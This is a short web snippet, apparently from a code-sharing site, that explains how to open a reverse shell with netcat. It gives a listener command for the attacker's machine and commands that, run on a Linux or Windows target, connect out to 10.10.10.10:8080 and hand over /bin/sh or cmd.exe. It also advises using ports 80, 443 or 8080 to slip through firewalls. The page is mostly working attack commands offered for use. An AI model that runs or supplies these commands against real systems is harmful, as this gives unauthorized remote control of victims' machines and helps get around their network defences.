Reverse Shell

# On listening machine nc -lvp 8080 # On targeted Linux machine nc 10.10.10.10 8080 -e /bin/sh # On targeted Windows machine nc 10.10.10.10 8080 -e cmd.exe
NetCat allows you to execute a program remotely. In this case we are remotely executing the shell. Your own machine listens on a given port. The reverse shell is run on the target machine. Using ports 80, 443, 8080 etc usually punches right through most firewalls as this is an outgoing connection from the targeted machine.

Be the first to comment

You can use [html][/html], [css][/css], [php][/php] and more to embed the code. Urls are automatically hyperlinked. Line breaks and paragraphs are automatically generated.